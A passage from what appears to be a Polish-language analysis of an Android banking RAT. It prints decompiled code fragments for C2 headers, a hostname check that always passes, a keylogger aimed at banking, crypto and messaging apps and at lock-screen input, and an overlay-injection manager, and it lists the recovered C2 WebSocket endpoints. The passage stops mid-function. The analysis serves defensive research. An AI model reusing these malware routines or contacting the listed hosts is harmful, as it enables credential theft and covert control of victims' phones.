&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;chain&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;proceed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chain&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;request&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;newBuilder&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;User-Agent&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;AndroidClient-Data/1.0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;X-Channel-Type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;data&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;X-Session-ID&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this$0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sessionId&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;X-Device-ID&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this$0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;deviceId&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;i celowo osłabia weryfikację TLS:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;applyC2SslTrust$lambda$24&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SSLSession&lt;/span&gt; &lt;span class="n"&gt;sSLSession&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Odzyskane finalne endpointy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;wss://otptrade.world:8443/control?sessionId=&amp;lt;uuid&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wss://otptrade.world:8444/data?sessionId=&amp;lt;uuid&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Podział na control/data ma znaczenie, ponieważ tłumaczy szeroki zestaw możliwości tego modułu: polecenia są dostarczane osobnym kanałem niż dane o dużej objętości, takie jak keylogi, telemetria HTML injection czy kolejne klatki ekranu.&lt;/p&gt;
&lt;h4&gt;Co robi finalny payload&lt;/h4&gt;
&lt;p&gt;Odzyskany kod źródłowy etapu 3 pokazuje, że mamy do czynienia z rozbudowanym RAT-em wykorzystującym usługi ułatwień dostępu do sterowania urządzeniem.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Keylogging i przechwytywanie blokady ekranu&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Keylogger jest inicjalizowany z listą wysokowartościowych kategorii pakietów:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;Set&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;criticalPackages&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SetsKt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setOf&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;systemui&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;settings&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;bank&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;pay&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;wallet&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;crypto&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;binance&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;coinbase&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;whatsapp&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;telegram&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;messenger&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;currentPasswordFieldText&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;currentPasswordFieldPackage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;currentPasswordFieldViewId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;PASSWORD_FIELD_TIMEOUT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WorkRequest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;DEFAULT_BACKOFF_DELAY_MILLIS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;CoroutineScope&lt;/span&gt; &lt;span class="n"&gt;coroutineScope&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CoroutineScopeKt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;CoroutineScope&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Dispatchers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDefault&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;plus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SupervisorKt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;SupervisorJob$default&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;Job&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;
&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;ConcurrentHashMap&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;mainThreadCaptures&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;ConcurrentHashMap&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;maxMainThreadCacheSize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="n"&gt;ExtractionStats&lt;/span&gt; &lt;span class="n"&gt;extractionStats&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;ExtractionStats&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;KeyloggerHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Executor&lt;/span&gt; &lt;span class="n"&gt;executor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LogDispatcher&lt;/span&gt; &lt;span class="n"&gt;logDispatcher&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;backgroundExecutor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;executor&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;logDispatcher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;logDispatcher&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;i&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TAG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;KEYLOGGER DEBUG: KeyloggerHandler created and initialized&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;queueLog$default&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;KEYLOGGER_INIT&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BuildConfig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;APPLICATION_ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;TAG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Keylogger initialized successfully&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Initialization test log&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentTimeMillis&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Dodatkowo przechwytywane są bezpośrednio zdarzenia klawiatury:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;handleKeyEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;KeyEvent&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAction&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;keyCode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getKeyCode&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;queueLog$default&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;KEY_PRESS_LOCKSCREEN&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;com.android.systemui&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;LockScreen&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Key: &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;KeyEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;keyCodeToString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keyCode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;, Char: &amp;#39;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getUnicodeChar&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sc"&gt;&amp;#39;\&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Key event captured&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MapsKt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;mapOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TuplesKt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;keyCode&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;valueOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keyCode&lt;/span&gt;&lt;span class="p"&gt;))),&lt;/span&gt; &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentTimeMillis&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;W połączeniu z obecnością &lt;code&gt;PatternLockActivity&lt;/code&gt;, &lt;code&gt;PINLockActivity&lt;/code&gt; i &lt;code&gt;PasswordLockActivity&lt;/code&gt; oznacza to, że malware jest przygotowany do przechwytywania loginów i haseł, a nie tylko metadanych interfejsu.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;HTML injection / overlay phishing&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Finalny etap zawiera dedykowany manager HTML injection:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;triggerInjection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;packageName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;condition&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;shouldInjectForPackage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;packageName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;condition&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;d&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TAG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Injection blocked or not configured for package: &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;packageName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;InjectionConfig&lt;/span&gt; &lt;span class="n"&gt;injectionConfig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;injectionConfigs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;packageName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Intrinsics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;checkNotNull&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;injectionConfig&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;InjectionConfig&lt;/span&gt; &lt;span class="n"&gt;injectionConfig2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;injectionConfig&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;ConcurrentHashMap&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;TemplateInfo&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;concurrentHashMap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;availableTemplates&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;lowerCase&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;injectionConfig2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getTemplateId&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Locale&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ROOT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Intrinsics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;checkNotNullExpressionValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lowerCase&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;toLowerCase(...)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;TemplateInfo&lt;/span&gt; &lt;span class="n"&gt;templateInfo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;concurrentHashMap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lowerCase&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;templateInfo&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;w&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TAG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Template not found for injection: &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;injectionConfig2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getTemplateId&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
        &lt;span class="n"&gt;sendInjectionErrorToC2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;packageName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;injectionConfig2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getTemplateId&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Template not found&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
